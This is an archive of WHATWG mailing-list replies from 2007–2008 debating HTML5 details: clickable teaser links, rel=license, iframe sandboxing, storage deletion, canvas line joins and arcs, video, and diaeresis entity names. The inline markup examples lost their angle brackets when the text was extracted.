The anchor customarily encompasses just the key phrase, not the whole text. The problem here is that the advertisements are not cooperative; they aggressively try to get in the reader's way. In your example, it would be more consistent to wrap the header text only. As an alternative, you can put a clickable empty transparency over the teaser. Is that what you meant by CSS tricks? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Frank Hellenkamp Sent: Thursday, May 29, 2008 10:23 AM To: [EMAIL PROTECTED] Subject: Re: [whatwg] Proposal for a link attribute to replace a href I agree that this is an unconvincing example, but consider instead banner ads that are created from a bunch of HTML markup rather than a single image; they generally want the entire banner rectangle to be clickable but make use of tables and all sorts of other strange things. I also think, that the banner is not a convincing example. But I step over different kinds of teaser (news- and article-teasers) during my work, that are made out of images, text and headlines. Now, you have to do this (without javascript): div class=teaser a href=link.htmlimg src=image.png/a h3a href=link.htmlnewsteaser/a/h3 pa href=link.htmlText/a/p pa href=link.htmlText/a/p /div If you are good, you also set the a-elements to display: block so that the whole area is clickable, not only the text. It would be *much* more simple/useful to have something like this: div class=teaser href=link.html img src=image.png h3newsteaser/h3 pText/p pText/p /div Or this: a href=link.html div class=teaser img src=image.png h3newsteaser/h3 pText/p pText/p /div /a By the way: It would be more accessible with the mouse in this case, because the clicking-area is much bigger (without css-tricks). best regards frank
Re: [whatwg] Proposal for a link attribute to replace a href
I agree that a more. link is a loss. However, the heading can serve as the anchor all right. If the whole text is in the anchor, it should be styled as a hyperlink, which would make it hard to read. OTOH, drawing a hyperlink border around the table makes the hyperlink hard to discover. Keep the Web consistent. Chris -Original Message- From: Frank Hellenkamp [mailto:[EMAIL PROTECTED] Sent: Thursday, May 29, 2008 10:59 AM To: Kristof Zelechovski Cc: [EMAIL PROTECTED] Subject: Re: [whatwg] Proposal for a link attribute to replace a href The anchor customarily encompasses just the key phrase, not the whole text. The problem here is that the advertisements are not cooperative; they aggressively try to get in the reader's way. In your example, it would be more consistent to wrap the header text only. As an alternative, you can put a clickable empty transparency over the teaser. Is that what you meant by CSS tricks? Chris The thing is: You want to have it most intuitive for the user: You have a portal page for a newspaper for example. Every article has a teaser with an image, a headline and text. As a user, I don't want to search for a link text (like more..., which is really bad, or some small key phrase), i just want to click somewhere on the teaser (on the image or the text) to get the article I want to read. As a content producer, I have to honor that. It is good to have big clickable buttons, especially on present and upcoming mobile devices (like the iphone for example). In the best case the whole rectangle of the teaser is clickable. At the moment you need some javascript or an a-tag with display: block for it, to get this behavior (see example in my last mail). best regards frank -- frank hellenkamp | interface designer hasenheide 53 | 10967 berlin +49.30.49 78 20 70 | tel +49.173.70 55 781 | mbl +49.1805.4002.243 912 | fax [EMAIL PROTECTED] | mail http://depagecms.net strnr 14/339/61587
Re: [whatwg] HTML 5: Wording of license link type is too narrow
The correct markup for a link trademark license would be A HREF=tmlic.html /trade;/A A trademark license does not apply to a Web page. It may of course apply to the product described on the page but such information is meaningless to HTML spiders and publishing tools; information an HTML-ignorant end user is expected to make use of should be exposed in the language she understands, not with specially dedicated HTML markup. That is, of course, IMHO - I am not a lawyer. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Arne Johannessen Sent: Wednesday, May 28, 2008 10:24 AM To: Ian Hickson Cc: WHAT WG List; [EMAIL PROTECTED] Subject: Re: [whatwg] HTML 5: Wording of license link type is too narrow Ian Hickson wrote: On Sat, 2 Feb 2008, Dave Hodder wrote: The scope of the license link type in section 4.12.3 seems too narrow to me. It's presently described like this: Indicates that the current document is covered by the copyright license described by the referenced document. I think the word copyright should be removed, allowing other types of intellectual property licence to be specified as well. As a use case, take for example a piece of documentation that is Apache-licensed: pThis piece of useful documentation may be used under the terms of the a rel=license ref=http://www.apache.org/licenses/LICENSE-2.0;Apache License, Version 2.0/a. Please note that Example#8482; is a trademark of Example.com Enterprises./p The license link not only refers to copyright law, but also trademark law and patent law. Sure, the license can cover things other than copyright. But it is primarily a copyright license, and that is the part that the rel=license keyword is referring to. The copyright license being part and parcel of a bigger license isn't a problem, IMHO. Agreed. In particular, we don't want people to use rel=license to point to trademark licenses or patent licenses that _aren't_ copyright licenses. Why not, what's the downside? What is the correct way to mark up links to, say, a trademark license _not_ covering copyright, given the current draft of the spec? -- Arne Johannessen
Re: [whatwg] The iframe element and sandboxing ideas
An inline frame is equivalent to an object: the browser displays the content of the element when it is configured not to support inline frames. I think it is possible to tweak current browsers lest they do. Putting the intended content inside does not seem to be the right choice. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Sean Hogan Sent: Friday, May 23, 2008 5:42 AM To: whatwg@lists.whatwg.org Subject: Re: [whatwg] The iframe element and sandboxing ideas I was wondering if you could use the content of the iframe as the source for the iframe document. By my testing (FF2, FF3b, Saf2, Saf3, Opera9.2, IE6) it seems that current browsers ignore content inside an iframe. So this degrades safely for HTML.
Re: [whatwg] The iframe element and sandboxing ideas
If attribute values were limited to ASCII, so would be the values for @ALT and @TITLE. This would cause the same problem. OTOH, attribute names are, with the pending unfortunate exception of EMBED. Chris _ From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Tab Atkins Jr. Sent: Thursday, May 22, 2008 4:41 AM To: Ian Hickson; whatwg List Subject: Re: [whatwg] The iframe element and sandboxing ideas I'm trying to find the part of the spec where this is stated explicitly, but aren't attributes limited to ascii text? If this is intended (among other things) to embed blog comments, this is no good - more than just us English-speakers write comments. ~TJ
Re: [whatwg] The iframe element and sandboxing ideas
Legacy browsers will use @SRC which must be filtered. They will ignore the new content (whatever the attribute name will be) altogether so it need not be filtered. Fallback @SRC can contain a URL to an error page saying Sorry, not in your browser. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Martin Atkins Sent: Thursday, May 22, 2008 2:21 PM To: Ian Hickson Cc: [EMAIL PROTECTED]; whatwg; HTMLWG Subject: Re: [whatwg] The iframe element and sandboxing ideas Ian Hickson wrote: Summary: * I've added a sandbox= attribute to iframe, which by default disables a number of features and takes a space-separated list of features to re-enable: [snip list] Unless I'm missing something, this attribute is useless in practice because legacy browsers will not impose the restrictions. This means that as long as legacy browsers exist (i.e. forever) server-side filtering must still be employed to duplicate the effects of the sandbox.
Re: [whatwg] The iframe element and sandboxing ideas
1. Nested browsing contexts in a sandboxed frame cannot be created dynamically but they can be defined by the inner markup. 2. If the frame is not allowed to execute scripts, setting location to script should have no effect. 3. There is a potential discrepancy between applying parent width, which is characteristic to block-level elements, and the declared element level in that the level of a frame depends on an attribute. This is unprecedented: the elements in HTML have a fixed level by design. Introducing a new element should be reconsidered in view of that IMHO. 4. Percentage in height scales to the container's height, not to the initial dimensions of the current element. It is an error if the container's height is left implicit or if the sum of percentages exceeds 100%. 5. The argument against SANDBOX is that the user could inject /SANDBOX. The argument against code attribute is that the user could inject a quote. Aren't these similar enough to reconsider SANDBOX? It seems it is easier to sanitize quotes because the burden of quoting is on the user. Compare 'SANDBOX SANDBOX /SANDBOX /SANDBOX ' to 'SPAN TITLE=quot; /SPAN ' that must be converted to 'SPAN TITLE=quot;amp;quot;quot; /SPAN '. The quoting required seems straightforward. I agree that using a data URL is simpler and cannot be viewed as an obstacle to productivity since the author's text must be processed anyway, so why not just encode it? And it is more consistent with contemporary technology. HTH, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Boris Zbarsky Sent: Thursday, May 22, 2008 6:27 PM To: Ian Hickson Cc: [EMAIL PROTECTED]; whatwg; HTMLWG Subject: Re: [whatwg] The iframe element and sandboxing ideas Ian Hickson wrote: - by default, content in sandboxed browsing contexts, and any browsing contexts nested in them How do those nested browsing contexts come about, given that later you say: - content in those browsing contexts cannot create new browsing contexts or open modal dialogs or alerts ? have a unique origin (independent of the origin of their URI); this can be overriden using the allow-same-origin keyword So the parent page cannot script the contents of the iframe by default, right? - by default, script in those browsing contexts cannot run; this can be overriden using the allow-scripts keyword What happens if the parent page sets window.location to a javascript: URI on the sandbox iframe? Does the script run? If so, in which browsing context? causes the iframe to size vertically to the bounding box of the contents, and horizontally to the width of the container I assume that the bounding box is computed after setting the width? By the width of the container do you mean that the iframe computed width should be equal to its containing block's computed width? Or that the display:block non-replaced width algorithm from CSS should be used? and which causes the initial containing block of the contents to be treated as zero height. So percentage heights would end up being 0, while the iframe would be whatever height is needed if one assumes they're auto? and the style sheets that apply to the iframe must also apply to the contents. But the ' ' and '' combinators don't cross the iframe boundary, right? This is all HIGHLY EXPERIMENTAL. I am looking for feedback on the general approaches taken. As someone else pointed out, this doesn't seem like it would be usable without some UA sniffing or something, as things stand. There are various things that this doesn't address yet; e.g. there's no way to force (or even allow) a non-seamless iframe to open links in the parent window. This could be an @sandbox keyword value. This attribute would take a string which would then be interpreted as the source document markup of an HTML document, much like the above This seems very prone to security issues (injection of the closing quote in the content) to me... The base64 approach is nice in that you can't shoot yourself in the foot with it. -Boris
Re: [whatwg] WebIDL vs HTML5 storage changes
delete means from memory, not from container in C++. In particular, delete member of object leaves the object in an inconsistent state, unless the member is already NULL, and therefore such a construct should never be used. The analogy is very inappropriate. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Brady Eidson Sent: Tuesday, May 20, 2008 1:53 AM To: Geoffrey Garen Cc: Maciej Stachowiak; WHATWG Mailing List Subject: Re: [whatwg] WebIDL vs HTML5 storage changes To give you an analogy, even in C++, where you're allowed to overload operator delete, if you overloaded operator delete to mean do not free this object's memory, but do delete the file it references from the file system, well, let's just say that your patch would not pass code review with any of your four reviewers :). But if you overloaded the delete operator to free the object's memory *and* delete its referenced files from the file system, you'd be using the operator overloading in its intended capacity.
Re: [whatwg] WebIDL vs HTML5 storage changes
Opacity of style is not quite the same thing because you compare a predefined property to an expando property. Predefined properties should not be deleted, deleting expando properties should be supported. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Maciej Stachowiak Sent: Tuesday, May 20, 2008 5:50 AM To: [EMAIL PROTECTED] Cc: Brady Eidson; WHATWG Mailing List Subject: Re: [whatwg] WebIDL vs HTML5 storage changes On May 19, 2008, at 4:54 PM, Robert O'Callahan wrote: If storage.keyName = 'value'; can create a new storage item (persistently), won't authors expect delete storage.keyName; to remove it (persistently), as a matter of consistency? If overloading delete is too quirky or too hard to implement, then it seems none of the other shorthands should be allowed either. Many objects in the DOM implement custom name getters (for instance NodeList) and a few even implement custom name setters (CSSStyleDeclaration, at least the way it is done in WebKit) but no one has clamored for a custom deleter or expected delete to work as a matter of consistency or been confused that style.opacity = 0 is allowed but delete style.opacity is not. So I would say the available evidence argues against your conclusions. Regards, Maciej
Re: [whatwg] require img dimensions to be correct?
Image dimensions should provide information about the image. This information should correspond accurately to the image served. CSS dimensions can be used for scaling in the user agent. Note that the @style attribute applies to the FONT element only. In particular, it does not apply to IMG any more. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Friday, April 11, 2008 9:02 AM To: [EMAIL PROTECTED] Subject: Re: [whatwg] require img dimensions to be correct? On Fri, 16 Mar 2007, Benjamin West wrote: img style=height: 50px; width: 50px; / Why is accessing CSS a problem? Taking all the above into account, I'm not sure that there is really a strong argument to change the spec (which allows dimensions to be specified, but not percentages). So I have left the spec as is for now. -- Ian Hickson U+1047E)\._.,--,'``.fL http://ln.hixie.ch/ U+263A/, _.. \ _\ ;`._ ,. Things that are impossible just take longer. `._.-(,_..'--(,_..'`-.;.'
Re: [whatwg] Canvas line styles comments
It should perhaps be explained that the joining arc must be outside the convex hull locally around the terminating points, which condition holds for the ccw arc only. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Philip Taylor Sent: Saturday, February 02, 2008 11:21 PM To: Kristof Zelechovski Cc: WHATWG Subject: Re: [whatwg] Canvas line styles comments On 02/02/2008, Kristof Zelechovski [EMAIL PROTECTED] wrote: You considered the convex hull of the original lines to get that paradox; I had the stroke path segments in mind. (Stroke path segments are the path equivalent of the stroked curve when the stroke operator is not allowed and must be replaced by the fill operator). Each line corresponds to two parallel stroke path segments; two of them intersect and the other two get joint with an arc. One of the possible arcs is in the convex hull of those stroke path segments. If the two lines are very short, their stroke paths will (if I understand correctly) look like .-. | | | | | | .-|-*---. '-|-|---' | | | | '-' where the * is the join point and the short lines are the two parallel stroke path segments of each line. Then the convex hull is nearly a square rotated by 45 degrees, like .-. /| |'- / | | '- /| |'-. .-|-*---. '-|-|---' '. | |.-' '-.| |_.-' '-' and so an arc with radius lineWidth/2 from the rightmost point going clockwise to the upmost point will not be contained entirely within that nearly-square. So neither arc is within the convex hull. -- Philip Taylor [EMAIL PROTECTED]
Re: [whatwg] Some video questions
I installed the latest Quick Time player and I still cannot see how it works fine. The browser shows the Quick Time logo with a running shuttle underneath. The browser is Ready and the player is Negotiating. The movie seems invalid to me. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Charles Sent: Sunday, February 03, 2008 6:50 AM To: 'WHAT working group' Subject: Re: [whatwg] Some video questions Your movie showed as a grey square and hanged Internet Explorer and I had to log out. Was that intended? It's an ordinary QuickTime Movie and works fine. The content is irrelevant, but it shows that the files one will embed with video often won't actually contain any video media. This will be the case with every metafile format (.asx, .sdp, etc.), and nearly all modern container formats (.mov, .asf, .swf) that can reference media that lives elsewhere. -- Charles
Re: [whatwg] Some video questions
Your movie showed as a grey square and hanged Internet Explorer and I had to log out. Was that intended? Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Charles Sent: Friday, February 01, 2008 12:02 AM To: 'WHAT working group' Subject: Re: [whatwg] Some video questions Inserting a [SWF] file into a video element is similar to inserting an HTML file that happens to have a link to video: sure, it links to a video, but it does a billion other things too - it isn't in itself the video. I hear you. FWIW, here's a QuickTime Movie that's also not in itself the video: http://wiltgen.net/tempy/badder.mov Please pardon the content. It's what I had handy from some previous testing. :^)
Re: [whatwg] Canvas line styles comments
A pair cannot be consecutive unless it follows after another pair, which would be irrelevant anyway. The rounding arc should be chosen so that it is not contained in the convex hull of the stroke path segments terminated at the points where the arc begins. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Philip Taylor Sent: Saturday, February 02, 2008 8:48 PM To: Ian Hickson Cc: WHATWG Subject: Re: [whatwg] Canvas line styles comments Some comments on the newly modified version: [snip] A join exists at any point in a subpath shared by two consecutive pairs of lines. - should be two consecutive lines or a consecutive pair of lines. [snip] The round value means that a filled arc connecting the two corners on the outside of the join, with the diameter equal to the line width and the origin at the point of the join, must be rendered at joins. - if I was being pedantic (which I am) I'd say there's two possible arcs connecting those two corners (one clockwise, one anticlockwise), so it should specify which one is meant. But I don't know how to easily say that, and an implementor would have to be silly to do it the wrong way, so maybe a precise definition isn't needed. Should lineJoin='round';moveTo(0,0);lineTo(100,0);lineTo(0,0);stroke() draw a semicircle at (100,0) pointing rightwards? There is no outside of the join there, so the spec doesn't say what should happen. [snip] -- Philip Taylor [EMAIL PROTECTED]
Re: [whatwg] Canvas line styles comments
You considered the convex hull of the original lines to get that paradox; I had the stroke path segments in mind. (Stroke path segments are the path equivalent of the stroked curve when the stroke operator is not allowed and must be replaced by the fill operator). Each line corresponds to two parallel stroke path segments; two of them intersect and the other two get joint with an arc. One of the possible arcs is in the convex hull of those stroke path segments. While talking intersection instead of convexity is mathematically simpler, convexity is what is intended, intersection may be a technicality. I think the specification should specify the intention and not the technical means wherever possible. Cheers, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Philip Taylor Sent: Saturday, February 02, 2008 10:25 PM To: Kristof Zelechovski Cc: WHATWG; Ian Hickson Subject: Re: [whatwg] Canvas line styles comments On 02/02/2008, Kristof Zelechovski [EMAIL PROTECTED] wrote: The rounding arc should be chosen so that it is not contained in the convex hull of the stroke path segments terminated at the points where the arc begins. I believe I can see the idea there, but I can't quite tell what that phrase means about terminating. The contained within also seems inaccurate, because e.g. lineWidth=100;moveTo(0,0);lineTo(1,0);lineTo(1,1) would result in a convex hull that doesn't contain either arc, though I think it'd be alright if said does not intersect instead. A possible alternative that seems simpler and (I think) correct (except in the special parallel case): The rounding arc should be chosen so that if it was closed, it would not contain the join point. -- Philip Taylor [EMAIL PROTECTED]
Re: [whatwg] [HTML5] Named start values for lists?
Now that you have touched this topic, let me remind you of the problem of parallel texts in multilingual documents, sort of (ill-formed) table ol colspan=2 tr td li horse td li Pferd tr td li table td li Tisch /ol /table Of course, it is not appropriate for interleaved linguistic publications but it is often used in legal documents. AFAIK, there is no way to express it in HTML at present. Nor in Microsoft Word, at least without stepping over semantics (if we can talk about semantics in Word documents at all). I do not have current expertise with other DPS. Best regards, Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Ian Hickson Sent: Friday, November 09, 2007 5:23 AM To: WHAT WG List Subject: Re: [whatwg] [HTML5] Named start values for lists?
Re: [whatwg] database full error (was: Re: executeSql API issynchronous)
As long as the database is readable, I can query all data out of it and upload them to a backup server via HTTP. While this need not be the most efficient and secure way to go, there are no software obstacles against. Better methods may be invented. Best regards, Chris -Original Message- From: Scott Hess [mailto:[EMAIL PROTECTED] Sent: Sunday, October 14, 2007 3:47 PM To: Kristof Zelechovski Cc: WHATWG Mailing List Subject: Re: [whatwg] database full error (was: Re: executeSql API issynchronous) On 10/14/07, Kristof Zelechovski [EMAIL PROTECTED] wrote: It is possible to recover from a database full error. You can dump the data to a slower device for example. While this action would not make the database operable again, you would at least avoid losing data. This is true in the general case, but will you be able to accomplish this using JavaScript APIs which are part of the Database spec? -scott
Re: [whatwg] successful form controls
1. Radio buttons are never checked so this sentence means that they are never successful. 2. A control that is read-only does not accept input from the user; however, it may have a meaningful value that is worth submitting because its value can be calculated on the client side. Although the server can probably recalculate the value on its own so that the value of the control is only informative, I would hesitate making such controls uniformly unsuccessful. If it is important, the control can be disabled by the designer. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith Sent: Friday, September 14, 2007 2:40 AM To: [EMAIL PROTECTED] Subject: [whatwg] successful form controls I found a few mistakes in the spec. === 5.1. Successful form controls The controls that are successful are those that are included in the submission (in the form data set) when their form is submitted. All form controls are successful except: Controls with no associated form. Controls that are inside repetition templates (those that are in their forms' templateElements list). Controls that are inside datalist elements. Controls with no name, except if they are image controls. Disabled controls. Checkboxes that are not checked. Radio buttons that are not checked. Submit buttons (including image buttons) that did not initiate the current submission process. Buttons of type button, reset, add, remove, move-up, or move-down. Output controls. File upload controls with no value selected, or with only values that point to non-existent files. Controls do not have to have a value to be successful. === missing: * Readonly controls (just like how it works in HTML 4) * controls within a fieldset that is disabled * controls whose associated FORM (either FIELDSET or FORM element) is either disabled or readonly. The WF2 spec does include the attribute disabled for a fieldset, but does not say that disabling a fieldset has *any* effect whatsoever. This, to me, seems to be an oversight. posted last month: http://lists.w3.org/Archives/Public/public-html/2007Aug/0638.html Garrett -- Programming is a collaborative art.
Re: [whatwg] WF 2.0 -- HTMLTextAreaElement [ type ] attribute
If I were one, I would return text, just like it does in an input control
does.
Cheers
Chris
-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Garrett Smith
Sent: Friday, September 14, 2007 2:53 AM
To: [EMAIL PROTECTED]
Subject: [whatwg] WF 2.0 -- HTMLTextAreaElement [ type ] attribute
Regarding the [type] attribute:
interface HTMLTextAreaElement : HTMLElement {
attribute DOMString defaultValue;
readonly attribute HTMLFormElement form;
attribute DOMString accessKey;
attribute longcols;
attribute boolean disabled;
attribute DOMString name;
attribute boolean readOnly;
attribute longrows;
attribute longtabIndex;
readonly attribute DOMString type;
What does the |type| attribute do?
--
Programming is a collaborative art.
Re: [whatwg] Canvas arcTo
The questioned wording is correct: a straight line has infinite radius and thus does not match the requirement if the radius is finite. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Philip Taylor Sent: Monday, July 02, 2007 1:42 PM To: WHATWG Subject: [whatwg] Canvas arcTo If the point (x2, y2) is on the line defined by the points (x0, y0) and (x1, y1) then the method must do nothing, as no arc would satisfy the above constraints. - why would no arc satisfy the constraints? If P0, P1, P2 are collinear and non-coincident, then (I think) any of the (infinitely many) circles which have the given radius and touch tangential to the line P0-P2 will satisfy the constraints (i.e. being tangential to P0-P1 at some point and to P1-P2 at some point). [snip] Negative or zero values for radius must cause the implementation to raise an INDEX_SIZE_ERR exception. - why not allow zero? You just get an arc at P1 with zero length, with the start and end tangent points both at P1, so the effect would be a straight line from P0 to P1, without needing to handle it as a special case. Safari works like that.
Re: [whatwg] XMLHttpRequest for missing file
IE7 does not allow XML-HTTP-Requesting a local file whether it exists or not. You can use Scripting.FileSystemObject for that purpose. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Geoffrey Garen Sent: Friday, June 29, 2007 6:39 AM To: [EMAIL PROTECTED] Subject: [whatwg] XMLHttpRequest for missing file The XMLHttpRequest spec has this to say about failed loads: snip The NETWORK_ERR exception is thrown when a network error occurs in synchronous requests. ... In case of network errors In case of DNS errors or other type of networks run the following set of steps.This does not include HTTP responses that indicate some type of error, such as HTTP status code 410. /snip What should happen with failed file:/// URL loads? For example, what if the file doesn't exist? Thanks, Geoff
Re: [whatwg] Entity parsing
If there is a character set that sports both, it must be used to put down some human language. My point there is no language that could make use of this distinction by having both uuml; and utrema;. There are languages that use uuml; and theoretically there could be ones that use utrema;, although I do not know of any valid case (I consider the French case invalid). Chëërs Chrïs _ From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Sander Sent: Saturday, June 23, 2007 2:59 PM To: Kristof Zelechovski; [EMAIL PROTECTED] Subject: Re: [whatwg] Entity parsing I hadn't thought of that one ;-) (in Dutch there are no native words with umlauts, only some of German or Scandinavian descent). My question was about char-sets that contain both a trema version and a (seperate) umlaut version of the same character. Are there any? cheers, Sander Kristof Zelechovski schreef: Only the vowel U can have either but I have not seen a valid example of utrema;. The orthography ambigüe has recently been changed to ambiguë for consistency. Polish nauka (science) and German beurteilen would make good candidates but the national rules of orthography do not allow this distinction because Slavic languages do not have diphthongs except in borrowed words and it would cause ambiguity in German (cf. geübt). (Incidentally, this leads to bad pronunciation often encountered even in Polish media.) Cheers Chris -Original Message- From: Sander [mailto:[EMAIL PROTECTED] Sent: Friday, June 22, 2007 9:26 PM To: Kristof Zelechovski Subject: Re: [whatwg] Entity parsing Kristof Zelechovski schreef: A dieresis is not an umlaut so I have to bite my tongue each time I write or read nonsense like iuml;. It feels like lying. Umlaut means mixed, a dieresis means standalone. Those are very different things, and I can never gets mixed so there is no ambiguïty. Since umlaut is borrowed from German, I can see no problem in borrowing tréma from French. I personally prefer itrema; to idier; because of readability, but I would not insist on that. In professional typography, umlaut dots are usually a bit closer to the letter's body than the dots of the trema. In handwriting, however, no distinction is visible between the two. This is also true for most computer fonts and encodings. [http://en.wikipedia.org/wiki/Umlaut_(diacritic)] Are there any char-sets that have both umlaut and trema variations of characters? If so, both entities could exist. cheers, Sander PS: I'd go for itrema; instead of idier; as well as the term trema is also the one that's used in Dutch.
Re: [whatwg] Entity parsing
Inconsistently, as of IE7: I got ge verbatim from your test. Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Allan Sandfeld Jensen Sent: Saturday, June 23, 2007 2:55 PM To: whatwg@lists.whatwg.org Subject: Re: [whatwg] Entity parsing What about the Gecko entity parsing extension? - IE consitently parses unterminated entities from latin-1 - Gecko parses all unterminated entities, even those beyond latin-1, but only in text-content, not in attributes. (seems my recent firefox also supports the IE parsing in attributes now.) See the attached test-case. `Allan
Re: [whatwg] Entity parsing [trema/diaresis vs umlaut]
A stressed schwa is present in Polish maritime dialect as well (Kaszëbszczi) and Slovaks write mäso for miaso (meat), but that is not the point. All such uses can be covered under the hood of the dieresis; I only want the true umlaut to be distinct, not as a code point but as an entity name. BTW, to clear another misconception: the dieresis is not a double accentit may be more verbosely described as double dot abovebecause unqualified accent means acute accent by default; the Adobe registry name for the double accent is Hungarian umlaut because it is used in Hungarian orthography only. To make it explicit and plain: the dieresis is a diacritical mark that has no intrinsic phonetic connotation, although it is used mostly for separating vowels; the phonetic meaning of umlaut is generic and well-defined by its very name and it does not apply to the vowel I. I did not intend to make HTML support all possible linguistic intricacies; I only wanted to eliminate the common nonsense of denoting ï with iuml;, or at least allow the authors not to use this absurd denotation while still having an entity for that letter. iuml; should be an alias for itrema; for backward compatibility, that is the whole story. It would be up to the author to determine whether uuml; or utrema; is appropriate; both entities should denote the same character. Cheers Chris -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Oistein E. Andersen Sent: Saturday, June 23, 2007 11:28 PM To: [EMAIL PROTECTED] Subject: Re: [whatwg] Entity parsing [trema/diaresis vs umlaut] Sander wrote: Are there any char-sets that have both umlaut and trema variations of characters? Unicode does not make the distinction, so this is somewhat unlikely. (Personally, I tend to think that the apparent preference for umlaut dots closer to the letter than trema dots can be linked to extrinsic phenomena like the preference for steep accents in French typography.) Kristof Zelechovski wrote: Only the vowel U can have either This is not quite right. All Latin vowels (a, e, i, o, u, y) can take the trema/diaresis (ä, ë, i, ö, ü in Dutch; ë, i, ü*, y** in French), and a, o, u can all be umlauted (ä, ö, ü in German). Moreover, the double-dot accent also has other uses (e.g., ä and ë both designate a stressed schwa in Luxembourgeois), so it is probably not advisable to attempt a complete classification in HTML. -- Oistein E. Andersen *) possibly only in the word capharnaüm (disregarding the highly unpopular rectifications orthographiques of 1990) and in proper names **) only in proper names
